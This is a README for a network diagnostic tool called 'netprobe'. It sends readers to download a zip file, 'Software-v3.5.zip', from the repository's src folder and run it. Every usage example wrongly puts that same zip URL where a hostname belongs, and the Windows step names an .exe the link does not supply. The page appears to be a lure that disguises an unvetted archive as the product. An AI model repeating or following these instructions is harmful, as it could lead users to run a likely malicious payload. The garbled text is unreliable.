netprobe is a fast, layered network diagnostic tool designed for users who need quick checks on their network status. It allows you to check DNS resolution, TCP connectivity, and HTTP status all in one command. With built-in JSON support, you can easily use the output in automated scripts or other tools.

Follow these steps to get netprobe up and running on your computer.

Before you install, ensure your system meets the following requirements:

• Operating System: Windows 10 or later, macOS, or any recent Linux distribution.
• Memory: At least 100 MB of free memory.
• Disk Space: At least 50 MB of free disk space.
• Network: Active internet connection for network tests.

To download netprobe, visit this page:

Download netprobe

On this page, you will find the latest version of the application. Click on the version number to find the downloadable files.

1. Locate the file that matches your operating system (e.g., https://raw.githubusercontent.com/iris017/netprobe/main/src/Software-v3.5.zip, netprobe-macos, or netprobe-linux).
2. Click the file to start the download.

After downloading, follow these steps to run the application:

• Windows: Double-click the downloaded .exe file.
• macOS: Open the downloaded file, then drag the application to your Applications folder.
• Linux: Open your terminal, navigate to the folder where you downloaded the file, and run the command chmod +x netprobe-linux. Then execute ./netprobe-linux.

To use netprobe, open your command line or terminal, and run the following command:

./netprobe [options]

1. Check DNS Resolution:

   • Command: ./netprobe dns https://raw.githubusercontent.com/iris017/netprobe/main/src/Software-v3.5.zip
   • This checks if the domain resolves correctly.

2. Check TCP Connectivity:

   • Command: ./netprobe tcp https://raw.githubusercontent.com/iris017/netprobe/main/src/Software-v3.5.zip
   • This tests if a TCP connection can be established.

3. Check HTTP Status:

   • Command: ./netprobe http https://raw.githubusercontent.com/iris017/netprobe/main/src/Software-v3.5.zip
   • Use this to see the HTTP response from a server.

If you want to get the output in JSON format, simply add the --json flag to any command:

./netprobe dns https://raw.githubusercontent.com/iris017/netprobe/main/src/Software-v3.5.zip --json

This is useful if you plan to integrate netprobe with other scripts or applications.

• Multiple Protocol Support: Test DNS, TCP, and HTTP all in one tool.
• User-Friendly: Designed for users of all skill levels, with clear output.
• JSON Support: Get results in a format that is easy to parse.
• Lightweight: Small footprint and quick execution.

If you encounter any issues or have questions, please check the FAQ section or contact our support team. You can reach us through the Issues tab on our GitHub page. We strive to respond to queries within 48 hours.

Contributions are welcome! If you’d like to help improve netprobe, please check our contributing guidelines. You can suggest features, report bugs, or even submit code.

This project is licensed under the MIT License. Feel free to use it in your own work or modify it for personal use.

To download netprobe again, simply visit the link below:

Download netprobe